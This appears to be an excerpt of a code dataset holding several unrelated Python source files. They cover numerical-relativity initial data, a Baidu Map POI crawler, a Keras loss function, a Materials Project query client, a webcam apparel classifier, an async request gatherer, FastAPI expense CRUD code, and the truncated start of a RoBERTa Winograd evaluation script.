alphaCart, betaCartU, BCartU\n \n # Step 0: Set spatial dimension (must be 3 for BSSN)\n DIM = 3\n par.set_parval_from_str(\"grid::DIM\",DIM)\n Cartxyz = ixp.declarerank1(\"Cartxyz\")\n\n # Step 1: Set psi, the conformal factor:\n psi = psi_in \n\n # Step 2: Set all needed ADM variables in Cartesian coordinates\n gammaCartDD = ixp.zerorank2()\n KCartDD = ixp.zerorank2() # K_{ij} = 0 for these initial data\n for i in range(DIM):\n gammaCartDD[i][i] = psi**4\n\n alphaCart = alpha_in\n betaCartU = ixp.zerorank1() # We generally choose \\beta^i = 0 for these initial data\n BCartU = ixp.zerorank1() # We generally choose B^i = 0 for these initial data\n \n cf,hDD,lambdaU,aDD,trK,alpha,vetU,betU = \\\n ctob.Convert_Cartesian_ADM_to_BSSN_curvilinear(Cartxyz, gammaCartDD,KCartDD,alphaCart,betaCartU,BCartU)\n \n global returnfunction\n returnfunction = bIDf.BSSN_ID_function_string(cf,hDD,lambdaU,aDD,trK,alpha,vetU,betU)","sub_path":"BSSN_SF/ID_array_psi.py","file_name":"ID_array_psi.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"571448504","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 26 11:02:19 2020\n\n@author: richieBao-caDesign设计(cadesign.cn)\n\"\"\"\n\n#位于百度地图POI数据的抓取与地理空间点地图/1. 百度地图POI数据的抓取-单个分类实现与地理空间点地图/1.1 单个分类POI爬取\ndef baiduPOI_dataCrawler(query_dic,bound_coordinate,partition,page_num_range,poi_fn_list=False):\n #所调用的库及辅助文件\n import coordinate_transformation as cc \n import urllib, json, csv,os,pathlib\n \n '''function-百度地图开放平台POI数据爬取'''\n urlRoot='http://api.map.baidu.com/place/v2/search?' #数据下载网址,查询百度地图服务文档\n #切分检索区域\n xDis=(bound_coordinate['rightTop'][0]-bound_coordinate['leftBottom'][0])/partition\n yDis=(bound_coordinate['rightTop'][1]-bound_coordinate['leftBottom'][1])/partition \n #判断是否要写入文件\n if poi_fn_list:\n for file_path in poi_fn_list:\n fP=pathlib.Path(file_path)\n if fP.suffix=='.csv':\n poi_csv=open(fP,'w',encoding='utf-8')\n csv_writer=csv.writer(poi_csv) \n elif fP.suffix=='.json':\n poi_json=open(fP,'w',encoding='utf-8')\n num=0\n jsonDS=[] #存储读取的数据,用于.json格式数据的保存\n #循环切分的检索区域,逐区下载数据\n print(\"Start downloading data...\")\n for i in range(partition):\n for j in range(partition):\n leftBottomCoordi=[bound_coordinate['leftBottom'][0]+i*xDis,bound_coordinate['leftBottom'][1]+j*yDis]\n rightTopCoordi=[bound_coordinate['leftBottom'][0]+(i+1)*xDis,bound_coordinate['leftBottom'][1]+(j+1)*yDis]\n for p in page_num_range: \n #更新请求参数\n query_dic.update({'page_num':str(p),\n 'bounds':str(leftBottomCoordi[1]) + ',' + str(leftBottomCoordi[0]) + ','+str(rightTopCoordi[1]) + ',' + str(rightTopCoordi[0]),\n 'output':'json',\n })\n\n url=urlRoot+urllib.parse.urlencode(query_dic)\n data=urllib.request.urlopen(url)\n responseOfLoad=json.loads(data.read()) \n if responseOfLoad.get(\"message\")=='ok':\n results=responseOfLoad.get(\"results\") \n for row in range(len(results)):\n subData=results[row]\n baidu_coordinateSystem=[subData.get('location').get('lng'),subData.get('location').get('lat')] #获取百度坐标系\n Mars_coordinateSystem=cc.bd09togcj02(baidu_coordinateSystem[0], baidu_coordinateSystem[1]) #百度坐标系-->火星坐标系\n WGS84_coordinateSystem=cc.gcj02towgs84(Mars_coordinateSystem[0],Mars_coordinateSystem[1]) #火星坐标系-->WGS84\n \n #更新坐标\n subData['location']['lat']=WGS84_coordinateSystem[1]\n subData['detail_info']['lat']=WGS84_coordinateSystem[1]\n subData['location']['lng']=WGS84_coordinateSystem[0]\n subData['detail_info']['lng']=WGS84_coordinateSystem[0] \n \n if csv_writer:\n csv_writer.writerow([subData]) #逐行写入.csv文件\n jsonDS.append(subData)\n num+=1 \n print(\"No.\"+str(num)+\" was written to the .csv file.\")\n if poi_json: \n json.dump(jsonDS,poi_json)\n poi_json.write('\\n')\n poi_json.close()\n if poi_csv:\n poi_csv.close()\n print(\"The download is complete.\")\n return jsonDS\n\n\n#位于百度地图POI数据的抓取与地理空间点地图/1. 百度地图POI数据的抓取-单个分类实现与地理空间点地图/1.2 将.csv格式的POI数据转换为pandas的DataFrame\ndef csv2df(poi_fn_csv):\n import pandas as pd\n from benedict import benedict #benedict库是dict的子类,支持键列表(keylist)/键路径(keypath),应用该库的flatten方法展平嵌套的字典,准备用于DataFrame数据结构\n import csv\n '''function-转换.csv格式的POI数据为pandas的DataFrame'''\n n=0\n with open(poi_fn_csv, newline='',encoding='utf-8') as csvfile:\n poi_reader=csv.reader(csvfile)\n poi_dict={} \n poiExceptions_dict={}\n for row in poi_reader: \n if row:\n try:\n row_benedict=benedict(eval(row[0])) #用eval方法,将字符串字典\"{}\"转换为字典{}\n flatten_dict=row_benedict.flatten(separator='_') #展平嵌套字典\n poi_dict[n]=flatten_dict\n except: \n print(\"incorrect format of data_row number:%s\"%n) \n poiExceptions_dict[n]=row\n n+=1\n #if n==5:break #因为循环次数比较多,在调试代码时,可以设置停止的条件,节省时间与方��数据查看\n poi_df=pd.concat([pd.DataFrame(poi_dict[d_k].values(),index=poi_dict[d_k].keys(),columns=[d_k]).T for d_k in poi_dict.keys()], sort=True,axis=0)\n # print(\"_\"*50)\n for col in poi_df.columns:\n try:\n poi_df[col]=pd.to_numeric(poi_df[col])\n except:\n pass\n #print(\"%s data type is not converted...\"%(col))\n print(\"_\"*50)\n print(\".csv to DataFrame is completed!\")\n #print(poi_df.head()) #查看最终DataFrame格式下POI数据\n #print(poi_df.dtypes) #查看数据类型\n return poi_df\n\n\n#位于百度地图POI数据的抓取与地理空间点地图/1.1 多个分类POI爬取|1.2 批量转换.csv格式数据为GeoDataFrame/1.2.1 定义提取文件夹下所有文件路径的函数\ndef filePath_extraction(dirpath,fileType):\n import os\n '''以所在文件夹路径为键,值为包含该文件夹下所有文件名的列表。文件类型可以自行定义 '''\n filePath_Info={}\n i=0\n for dirpath,dirNames,fileNames in os.walk(dirpath): #os.walk()遍历目录,使用help(os.walk)查看返回值解释\n i+=1\n if fileNames: #仅当文件夹中有文件时才提取\n tempList=[f for f in fileNames if f.split('.')[-1] in fileType]\n if tempList: #剔除文件名列表为空的情况,即文件夹下存在不为指定文件类型的文件时,上一步列表会返回空列表[]\n filePath_Info.setdefault(dirpath,tempList)\n return filePath_Info\n\n\n#频数分布计算\ndef frequency_bins(df,bins):\n import pandas as pd\n '''function-频数分布计算'''\n\n #A-组织数据\n column_name=df.columns[0]\n column_bins_name=df.columns[0]+'_bins'\n df[column_bins_name]=pd.cut(x=df[column_name],bins=bins,right=False) #参数right=False指定为包含左边值,不包括右边值。\n df_bins=df.sort_values(by=[column_name]) #按照分割区间排序\n df_bins.set_index([column_bins_name,df_bins.index],drop=False,inplace=True) #以price_bins和原索引值设置多重索引,同时配置drop=False参数保留原列。\n #print(df_bins.head(10))\n\n #B-频数计算\n dfBins_frequency=df_bins[column_bins_name].value_counts() #dropna=False \n dfBins_relativeFrequency=df_bins[column_bins_name].value_counts(normalize=True) #参数normalize=True将计算相对频数(次数) dividing all values by the sum of values\n dfBins_freqANDrelFreq=pd.DataFrame({'fre':dfBins_frequency,'relFre':dfBins_relativeFrequency})\n #print(dfBins_freqANDrelFreq)\n\n #C-组中值计算\n dfBins_median=df_bins.median(level=0)\n dfBins_median.rename(columns={column_name:'median'},inplace=True)\n #print(dfBins_median)\n\n #D-合并分割区间、频数计算和组中值的DataFrame格式数据。\n df_fre=dfBins_freqANDrelFreq.join(dfBins_median).sort_index().reset_index() #在合并时会自动匹配index\n #print(ranmen_fre)\n\n #E-计算频数比例\n df_fre['fre_percent%']=df_fre.apply(lambda row:row['fre']/df_fre.fre.sum()*100,axis=1)\n\n return df_fre\n\n\n#convert points .shp to raster 将点数据写入为raster数据。使用raster.SetGeoTransform,栅格化数据。参考GDAL官方代码\ndef pts2raster(pts_shp,raster_path,cellSize,field_name=False):\n from osgeo import gdal, ogr,osr\n '''\n function - 将.shp格式的点数据转换为.tif栅格(raster)\n \n Paras:\n pts_shp - .shp格式点数据文件路径\n raster_path - 保存的栅格文件路径\n cellSize - 栅格单元大小\n field_name - 写入栅格的.shp点数据属性字段\n '''\n #定义空值(没有数据)的栅格数值 Define NoData value of new raster\n NoData_value=-9999\n \n #打开.shp点数据,并返回地理区域范围 Open the data source and read in the extent\n source_ds=ogr.Open(pts_shp)\n source_layer=source_ds.GetLayer()\n x_min, x_max, y_min, y_max=source_layer.GetExtent()\n \n #使用GDAL库建立栅格 Create the destination data source\n x_res=int((x_max - x_min) / cellSize)\n y_res=int((y_max - y_min) / cellSize)\n target_ds=gdal.GetDriverByName('GTiff').Create(raster_path, x_res, y_res, 1, gdal.GDT_Float64) #gdal的数据类型 gdal.GDT_Float64,gdal.GDT_Int32...\n target_ds.SetGeoTransform((x_min, cellSize, 0, y_max, 0, -cellSize))\n outband=target_ds.GetRasterBand(1)\n outband.SetNoDataValue(NoData_value)\n\n #向栅格层中写入数据\n if field_name:\n gdal.RasterizeLayer(target_ds,[1], source_layer,options=[\"ATTRIBUTE={0}\".format(field_name)])\n else:\n gdal.RasterizeLayer(target_ds,[1], source_layer,burn_values=[-1]) \n \n #配置投影坐标系统\n spatialRef=source_layer.GetSpatialRef()\n target_ds.SetProjection(spatialRef.ExportToWkt()) \n \n outband.FlushCache()\n return gdal.Open(raster_path).ReadAsArray()\n\n\ndef pts_geoDF2raster(pts_geoDF,raster_path,cellSize,scale):\n from osgeo import gdal,ogr,osr\n import numpy as np\n from scipy import stats\n '''\n function - ���GeoDaraFrame格式的点数据转换为栅格数据\n \n Paras:\n pts_geoDF - GeoDaraFrame格式的点数据\n raster_path - 保存的栅格文件路径\n cellSize - 栅格单元大小\n scale - 缩放核密度估计值\n '''\n #定义空值(没有数据)的栅格数值 Define NoData value of new raster\n NoData_value=-9999\n x_min, y_min,x_max, y_max=pts_geoDF.geometry.total_bounds\n\n #使用GDAL库建立栅格 Create the destination data source\n x_res=int((x_max - x_min) / cellSize)\n y_res=int((y_max - y_min) / cellSize)\n target_ds=gdal.GetDriverByName('GTiff').Create(raster_path, x_res, y_res, 1, gdal.GDT_Float64 )\n target_ds.SetGeoTransform((x_min, cellSize, 0, y_max, 0, -cellSize))\n outband=target_ds.GetRasterBand(1)\n outband.SetNoDataValue(NoData_value) \n \n #配置投影坐标系统\n spatialRef = osr.SpatialReference()\n epsg=int(pts_geoDF.crs.srs.split(\":\")[-1])\n spatialRef.ImportFromEPSG(epsg) \n target_ds.SetProjection(spatialRef.ExportToWkt())\n \n #向栅格层中写入数据\n #print(x_res,y_res)\n X, Y = np.meshgrid(np.linspace(x_min,x_max,x_res), np.linspace(y_min,y_max,y_res))\n positions=np.vstack([X.ravel(), Y.ravel()])\n values=np.vstack([pts_geoDF.geometry.x, pts_geoDF.geometry.y]) \n print(\"Start calculating kde...\")\n kernel=stats.gaussian_kde(values)\n Z=np.reshape(kernel(positions).T, X.shape)\n print(\"Finish calculating kde!\")\n print(values)\n \n outband.WriteArray(Z*scale) \n outband.FlushCache()\n print(\"conversion complete!\")\n return gdal.Open(raster_path).ReadAsArray()\n\n\ndef start_time():\n import datetime\n '''\n function-计算当前时间\n '''\n start_time=datetime.datetime.now()\n print(\"start time:\",start_time)\n return start_time\n\ndef duration(start_time):\n import datetime\n '''\n function-计算持续时间\n\n Paras:\n start_time - 开始时间\n '''\n end_time=datetime.datetime.now()\n print(\"end time:\",end_time)\n duration=(end_time-start_time).seconds/60\n print(\"Total time spend:%.2f minutes\"%duration)","sub_path":"notebook/BaiduMapPOIcollection_ipynb/util_poi.py","file_name":"util_poi.py","file_ext":"py","file_size_in_byte":12248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"586383660","text":"import tensorflow as tf\nimport keras.backend as K\nimport numpy as np\n# import matplotlib.pyplot as plt\n\n\ndef loss(y_true, y_pred): # designed loss function\n err = y_true - y_pred\n lost = 0\n\n less0 = tf.less_equal(err, 0) # find elements less than 0 as True\n cast1 = tf.cast(less0, dtype=tf.float32) # convert bool to 0/1\n\n greater0 = tf.greater(err, 0) # find elements greater than 0 as True\n cast2 = tf.cast(greater0, dtype=tf.float32) # convert bool to 0/1\n\n err1 = tf.where(less0, err, cast1) # elements less than 0\n err2 = tf.where(greater0, err, cast2) # elements greater than 0\n\n lost += 1 - K.exp((-K.log(0.5)) * (err1 / 20))\n lost += 1 - K.exp((K.log(0.5)) * (err2 / 5))\n\n return K.mean(lost)\n\n\ndef score(err): # score function , plot the scatters\n # err = y_true - y_pred\n if err < 0:\n score = np.exp(-np.log(0.5)*(err/20))\n elif err > 0:\n score = np.exp(np.log(0.5)*(err/5))\n else:\n score = 1\n return score\n\n\n\n","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"207901836","text":"from typing import Union, List\nfrom mp_api.client import MPRester\nfrom pyiron_atomistics.atomistics.structure.has_structure import HasStructure\nfrom pyiron_atomistics.atomistics.structure.structurestorage import StructureStorage\nfrom pyiron_atomistics.atomistics.structure.atoms import pymatgen_to_pyiron, Atoms\n\n\nclass MPQueryResults(HasStructure):\n def __init__(self, results):\n \"\"\"\n\n Args:\n docs (list of dicts): query results from Materials Project, should be obtained with use_document_model=False\n \"\"\"\n self._results = results\n self._material_ids = [r[\"material_id\"] for r in results]\n\n def _translate_frame(self, frame):\n try:\n return self._material_ids.index(frame)\n except ValueError:\n raise KeyError(f\"material id {frame} not among results!\") from None\n\n def __iter__(self):\n yield from self.iter_structures()\n\n def _get_structure(self, frame, wrap_atoms=True):\n return pymatgen_to_pyiron(self._results[frame][\"structure\"])\n\n def _number_of_structures(self):\n return len(self._results)\n\n def to_list(self):\n \"\"\"\n Get a list of queried structures.\n\n Returns:\n list: structures\n \"\"\"\n return [pymatgen_to_pyiron(r[\"structure\"]) for r in self._results]\n\n def to_storage(self):\n \"\"\"\n Get a StructureStorage of queried structures.\n\n The materials project id is used as the identifier.\n\n Returns:\n :class:`~.StructureStorage`: structures\n \"\"\"\n store = StructureStorage()\n for i, structure in enumerate(self):\n store.add_structure(structure, identifier=self._material_ids[i])\n return store\n\n\nclass MaterialsProjectFactory:\n \"\"\"\n Convenience interface to the Materials Project Structure Database.\n\n Usage is only possible with an API key obtained from the Materials Project. To do this, create an account with\n them, login and access `this webpage `.\n\n Once you have a key, either pass it as the `api_key` parameter in the methods of this object or export an\n environment variable, called `MP_API_KEY`, in your shell setup.\n \"\"\"\n\n @staticmethod\n def search(\n chemsys: Union[str, List[str]], api_key=None, **kwargs\n ) -> MPQueryResults:\n \"\"\"\n Search the database for all structures matching the given query.\n\n Note that `chemsys` takes distint values for unaries, binaries and so! A query with `chemsys=[\"Fe\", \"O\"]` will\n return iron structures and oxygen structures, but no iron oxide structures. Similarily `chemsys=[\"Fe-O\"]` will\n not return unary structures.\n\n All keyword arguments for filtering from the original API are supported. See the\n `original docs `_ for them.\n\n Search for all iron structures:\n\n >>> pr = Project(...)\n >>> irons = pr.create.structure.materialsproject.search(\"Fe\")\n >>> irons.number_of_structures\n 10\n\n The returned :class:`~.MPQueryResults` object implements :class:`~.HasStructure` and can be accessed with the\n material ids as a short-hand\n\n >>> irons.get_structure(1) == irons.get_structure('mp-13')\n True\n\n Search for all structures with Al, Li that are on the T=0 convex hull:\n\n >>> alli = pr.create.structure.materialsproject.search(['Al', 'Li', 'Al-Li'], is_stable=True)\n >>> len(alli)\n 6\n\n Args:\n chemsys (str, list of str): confine search to given elements; either an element symbol or multiple element\n symbols seperated by dashes; if a list of strings is given return structures matching either of them\n api_key (str, optional): if your API key is not exported in the environment flag MP_API_KEY, pass it here\n **kwargs: passed verbatim to :meth:`mp_api.MPRester.summary.search` to further filter the results\n\n Returns:\n :class:`~.MPQueryResults`: resulting structures from the query\n \"\"\"\n rest_kwargs = {\n \"use_document_model\": False, # returns results as dictionaries\n \"include_user_agent\": True, # send some additional software version info to MP\n }\n if api_key is not None:\n rest_kwargs[\"api_key\"] = api_key\n with MPRester(**rest_kwargs) as mpr:\n results = mpr.summary.search(\n chemsys=chemsys, **kwargs, fields=[\"structure\", \"material_id\"]\n )\n return MPQueryResults(results)\n\n @staticmethod\n def by_id(\n material_id: Union[str, int],\n final: bool = True,\n conventional_unit_cell: bool = False,\n api_key=None,\n ) -> Union[Atoms, List[Atoms]]:\n \"\"\"\n Retrieve a structure by material id.\n\n This is how you would ask for the iron ground state:\n\n >>> pr = Project(...)\n >>> pr.create.structure.materialsproject.by_id('mp-13')\n Fe: [0. 0. 0.]\n tags:\n spin: [(0: 2.214)]\n pbc: [ True True True]\n cell:\n Cell([[2.318956, 0.000185, -0.819712], [-1.159251, 2.008215, -0.819524], [2.5e-05, 0.000273, 2.459206]])\n\n\n Args:\n material_id (str): the id assigned to a structure by the materials project\n api_key (str, optional): if your API key is not exported in the environment flag MP_API_KEY, pass it here\n final (bool, optional): if set to False, returns the list of initial structures,\n else returns the final structure. (Default is True)\n conventional_unit_cell (bool, optional): if set to True, returns the standard conventional unit cell.\n (Default is False)\n\n Returns:\n :class:`~.Atoms`: requested final structure if final is True\n list of :class:~.Atoms`: a list of initial (pre-relaxation) structures if final is False\n\n Raises:\n ValueError: material id does not exist\n \"\"\"\n rest_kwargs = {\n \"include_user_agent\": True, # send some additional software version info to MP\n }\n if api_key is not None:\n rest_kwargs[\"api_key\"] = api_key\n with MPRester(**rest_kwargs) as mpr:\n if final:\n return pymatgen_to_pyiron(\n mpr.get_structure_by_material_id(\n material_id=material_id,\n final=final,\n conventional_unit_cell=conventional_unit_cell,\n )\n )\n else:\n return [\n pymatgen_to_pyiron(mpr_structure)\n for mpr_structure in (\n mpr.get_structure_by_material_id(\n material_id=material_id,\n final=final,\n conventional_unit_cell=conventional_unit_cell,\n )\n )\n ]\n","sub_path":"pyiron_atomistics/atomistics/structure/factories/materialsproject.py","file_name":"materialsproject.py","file_ext":"py","file_size_in_byte":7091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"236226863","text":"from keras.models import Sequential, load_model\r\nfrom keras.preprocessing import image\r\nfrom keras.layers import Conv2D, MaxPooling2D\r\nfrom keras.layers import Activation, Dropout, Flatten, Dense\r\nfrom keras import backend as K\r\nfrom keras import applications\r\nimport cv2\r\nimport keras\r\nimport numpy as np\r\nimport os\r\nfrom keras.optimizers import Adam\r\nfrom directory_management import *\r\nfrom models_configuration import *\r\n# import image_processing as ip\r\nimport image_threshold as it\r\nfrom PIL import ImageFont, ImageDraw, Image\r\n\r\napparel_model_path = \"bottleneck_fc_model.h5\"\r\n\r\napparel_labels = [\"Batik\", \"Jacket\", \"Polo\", \"Shirt\", \"T-Shirt\"]\r\n\r\nimg_width, img_height = 150, 150\r\nb, g, r, a = 255, 255, 255, 0\r\n\r\n# for feature extraction\r\npre_model = applications.VGG16(include_top=False, weights='imagenet')\r\n\r\ndef load_models():\r\n\tapparel = load_model(apparel_model_path)\r\n\r\n\tadam = Adam(lr=0.0001)\r\n\tapparel.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['accuracy'])\r\n\treturn apparel\r\n\r\napparel_model = load_models()\r\n\r\ndef resize_image(event):\r\n\tnew_width = event.width\r\n\tnew_height = event.height\r\n\timage = copy_of_image.resize((new_width, new_height))\r\n\tphoto = ImageTk.PhotoImage(image)\r\n\tlabel.config(image = photo)\r\n\tlabel.image = photo #avoid garbage collection\r\n\r\ndef loadimage(input_image, image_source):\r\n\tif image_source == 'camera':\r\n\t\tcv2.imwrite('temp.jpg', input_image)\r\n\t\timg = getfeature('temp.jpg')\r\n\telif image_source == 'image':\r\n\t\timg = getfeature(input_image)\r\n\treturn img\r\n\r\ndef show_top_three(class_prob):\r\n\tpred_list = np.argsort(class_prob)[0]\r\n\tprint (pred_list)\r\n\ttopidx = []\r\n\ttoplabels = []\r\n\tj = 0\r\n\tlabels = apparel_labels\r\n\tfor i in range(-1, -4, -1):\r\n\t\tidx = pred_list[i]\r\n\t\ttopidx.append(idx)\r\n\t\ttoplabels.append(labels[idx])\r\n\t\tprint(topidx[j])\r\n\t\tprint(toplabels[j])\r\n\t\tj += 1\r\n\treturn topidx, toplabels\r\n\r\ndef getprediction(input_image, image_source):\r\n\timg = loadimage(input_image, image_source)\r\n\tprediction, topidx, toplabels = [], [], []\r\n\t# predict result\r\n\tprediction = apparel_model.predict(img)\r\n\ttopidx, toplabels = show_top_three(prediction)\r\n\tprint(prediction)\r\n\treturn toplabels\r\n\r\n# extract feature from image\r\ndef getfeature(input_image):\r\n img = image.load_img(input_image, target_size=(img_height, img_width))\r\n x = image.img_to_array(img)\r\n x = np.expand_dims(x, axis=0)\r\n x = preprocess_input(x)\r\n features = pre_model.predict(x)\r\n return features\r\n\r\ndef live_processing():\r\n cap = cv2.VideoCapture(0)\r\n cam_width = cap.get(3) # float\r\n cam_width = int(cam_width)\r\n window_width = cam_width\r\n cam_height = cap.get(4) # float\r\n cam_height = int(cam_height)\r\n window_height = cam_height\r\n while True:\r\n ret, frame = cap.read()\r\n cv2.rectangle(frame, (140, 100), (500, 380), (0, 255, 0), 2) \r\n croppedframe = frame[100:-100, 140:-140]\r\n \r\n appareltoplabels = getprediction(croppedframe, \"camera\")\r\n fontpath = \"C:\\\\Users\\\\ACER\\\\Desktop\\\\COMP6065-Artificial_Intelligence\\\\ProjectAI\\\\image-classification\\\\fonts\\\\VAGRundschrift.ttf\"\r\n font = ImageFont.truetype(fontpath, 28)\r\n img_pil = Image.fromarray(frame)\r\n draw = ImageDraw.Draw(img_pil)\r\n # draw.text((145, 95), 'press SPACE to capture an image', font = font, fill = (b, g, r, a))\r\n draw.text((10, window_height - 96), '#1 ' + appareltoplabels[0], font = font, fill = (b, g, r, a))\r\n draw.text((10, window_height - 68), '#2 ' + appareltoplabels[1], font = font, fill = (b, g, r, a))\r\n draw.text((10, window_height - 40), '#3 ' + appareltoplabels[2], font = font, fill = (b, g, r, a))\r\n img = np.array(img_pil)\r\n\r\n cv2.imshow('camera', img)\r\n\r\n key = cv2.waitKey(1)\r\n if key == 27:\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n break\r\n elif key == 32:\r\n ret, currframe = cap.read()\r\n cv2.imwrite('capture.jpg', currframe)\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n break\r\n return appareltoplabels","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"271985187","text":"from typing import Any, List\nfrom pyot.pipeline import pipelines\nimport aiohttp\nimport asyncio\nimport uuid\n\n\nfrom logging import getLogger\nLOGGER = getLogger(__name__)\n\n\nclass Gatherer:\n '''\n Scraper that wraps asyncio.gather, automatically create a session that\n is reused across the statements provided to get data even faster.\n\n For executing mass non-pyot coroutines, please use Queue instead.\n Unlike Queue, workers are fake workers, they only represent the size of the chunk to gather.\n '''\n workers: int\n session_class: Any\n log_level: int\n cancel_on_raise: bool\n statements: List\n responses: List\n\n def __init__(self, workers: int = 25, log_level: int = 10, cancel_on_raise: bool = False):\n self.workers = workers\n self.cancel_on_raise = cancel_on_raise\n self.log_level = log_level\n self.statements = []\n\n async def __aenter__(self) -> \"Gatherer\":\n self.session_id = uuid.uuid4()\n self.session = aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False, limit=self.workers))\n for pipeline in pipelines.values():\n pipeline.sessions[self.session_id] = self.session\n LOGGER.log(self.log_level, f\"[Trace: Pyot Gatherer] Created session '{self.session_id}'\")\n return self\n\n async def __aexit__(self, *args):\n await self.session.close()\n for pipeline in pipelines.values():\n pipeline.sessions.pop(self.session_id)\n LOGGER.log(self.log_level, f\"[Trace: Pyot Gatherer] Closed session '{self.session_id}'\")\n return\n\n async def gather(self):\n '''Awaitable, starts the scraping process and saves results to `responses`.\n \n Gatherings are done by chunks, the size of the chunk is determined by the number of workers.\n '''\n for i in range(len(self.statements)):\n try:\n self.statements[i] = self.statements[i].get\n except Exception:\n raise RuntimeError(f\"[Trace: Pyot Gatherer] Failed to add session id to statements at index {i}, \"\n \"make sure that only Pyot objects are included and 'get()' is not passed on the statements\")\n\n try:\n self.responses = []\n splits = int(len(self.statements)/self.workers)+1\n for s in range(splits):\n bucket = []\n for st in self.statements[s*self.workers:(s+1)*self.workers if s+1 < splits else None]:\n bucket.append(asyncio.create_task(st(sid=self.session_id)))\n await asyncio.sleep(0.01)\n self.responses.extend(await asyncio.gather(*bucket, return_exceptions=False if self.cancel_on_raise else True))\n return self.responses\n except Exception as e:\n for task in bucket:\n task.cancel()\n LOGGER.warning(f\"[Trace: Pyot Gatherer] All statements of session '{self.session_id}' are cancelled due to exception: {e}\")\n raise\n","sub_path":"pyot/core/gatherer.py","file_name":"gatherer.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"127916855","text":"# root/app/db/crud/expenses.py\n\nfrom fastapi import Path, HTTPException\nfrom fastapi.encoders import jsonable_encoder\n\nfrom sqlalchemy.orm import Session\n\nfrom app.db.models import expenses as models\nfrom app.db.schemas import expenses as schemas\n\n\nclass ExpenseCRUD:\n\n def __init__(self):\n super().__init__()\n\n @staticmethod\n def list_expenses(\n db: Session,\n ):\n \"\"\" List all the categories\n \"\"\"\n return db.query(models.Expense).all()\n\n @staticmethod\n def get_expense_by_id(\n db: Session,\n expense_id: int = Path(..., title=\"Expense ID\"),\n ):\n \"\"\" Filter expense by ID\n \"\"\"\n return db.query(models.Expense).filter(\n models.Expense.id == expense_id\n ).first()\n\n # @staticmethod\n # def get_expense_by_category(\n # db: Session,\n # name: str = Path(..., title=\"Groceries\"),\n # ):\n # \"\"\" Filter categories by name\n # \"\"\"\n # return db.query(models.Expense).filter(\n # models.Expense.name == name\n # ).first()\n\n @staticmethod\n def create_expense(\n db: Session,\n expense: schemas.Expense\n ):\n \"\"\" Create new expense\n \"\"\"\n new_expense = models.Expense(**expense.dict())\n db.add(new_expense)\n db.commit()\n db.refresh(new_expense)\n return new_expense\n\n @staticmethod\n def update_expense_by_id(\n db: Session,\n expense_name: str,\n new_expense: models.Expense\n ):\n \"\"\" Update existing season\n \"\"\"\n data = jsonable_encoder(new_expense)\n print(data, new_expense)\n expense = db.query(models.Expense).filter(\n models.Expense.name == expense_name\n ).first()\n\n if not expense:\n raise HTTPException(404, \"NOT FOUND\")\n expense.id = new_expense.id\n expense.name = new_expense.name\n db.commit()\n db.refresh(expense)\n return expense\n\n @staticmethod\n def remove_expense_by_id(\n db: Session,\n expense_id: int,\n ):\n \"\"\" Delete existing expense by id\n \"\"\"\n print(\"ID: \", expense_id)\n expense = db.query(models.Expense).filter(\n models.Expense.id == expense_id\n ).first()\n if not expense:\n # TODO: Exception\n print(\"[INFO]: Not found!\")\n return None\n db.delete(expense)\n db.commit()\n return expense\n\n # @staticmethod\n # def remove_expense_by_category(\n # db: Session,\n # category_name: str,\n # ):\n # \"\"\" Delete existing expense by category\n # \"\"\"\n # # TODO: Implement filtering by another class attribute\n","sub_path":"app/db/crud/expenses.py","file_name":"expenses.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"511959116","text":"import torch\nfrom pytorch_transformers import RobertaModel, RobertaTokenizer, RobertaForMaskedLM\nimport numpy as np\nfrom copy import deepcopy\nimport re\nimport pandas as pd\n\n\n# OPTIONAL: if you want to have more information on what's happening, activate the logger as follows\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device('cuda:0' if use_cuda else 'cpu')\n\npath_to_wsc = '../data/wsc_data/enhanced.tense.random.role.syn.voice.scramble.freqnoun.tsv'\nwsc_datapoints = pd.read_csv(path_to_wsc, sep='\\t')\n\ndef find_sub_list(sl,l):\n sl = [item for item in sl]\n l = [item for item in l]\n results=[]\n sll=len(sl)\n for ind in (i for i,e in enumerate(l) if e==sl[0]):\n if l[ind:ind+sll]==sl:\n results.append((ind,ind+sll))\n return results\n\ndef replace_pronoun(tokenized_text, pronoun_index, tokenized_option):\n tokenized_text = tokenized_text[:pronoun_index] + tokenized_option + tokenized_text[pronoun_index:]\n new_pronoun_index = pronoun_index + len(tokenized_option)\n tokenized_text.pop(new_pronoun_index)\n return tokenized_text\n\n# Load pre-trained model tokenizer (vocabulary)\ntokenizer = RobertaTokenizer.from_pretrained('roberta-large')\n\ncorrect_preds = 0\ncorrect_preds_enhanced = 0\nstability_match = 0\n\nall_preds = 0\n\n# Load pre-trained model (weights)\nmodel = RobertaForMaskedLM.from_pretrained('roberta-large')\nmodel.eval()\n\nfor q_index, dp_split in wsc_datapoints.iterrows():\n if dp_split['text_voice_switch'].replace(' ', '') != '-' and dp_split['text_voice_switch'].replace(' ', ''):\n\n # Tokenized input\n correct_answer = dp_split['correct_answer']\n\n #check for empty\n text = dp_split['text_original'].strip().lower()\n text = re.sub(' +', ' ', text)\n print(text, \" text\")\n\n text_enhanced = dp_split['text_syn'].lower()\n text_enhanced = re.sub(' +', ' ', text_enhanced)\n\n\n tokenized_text = tokenizer.encode(text, add_special_tokens=True)\n tokenized_enhanced_text = tokenizer.encode(text_enhanced, 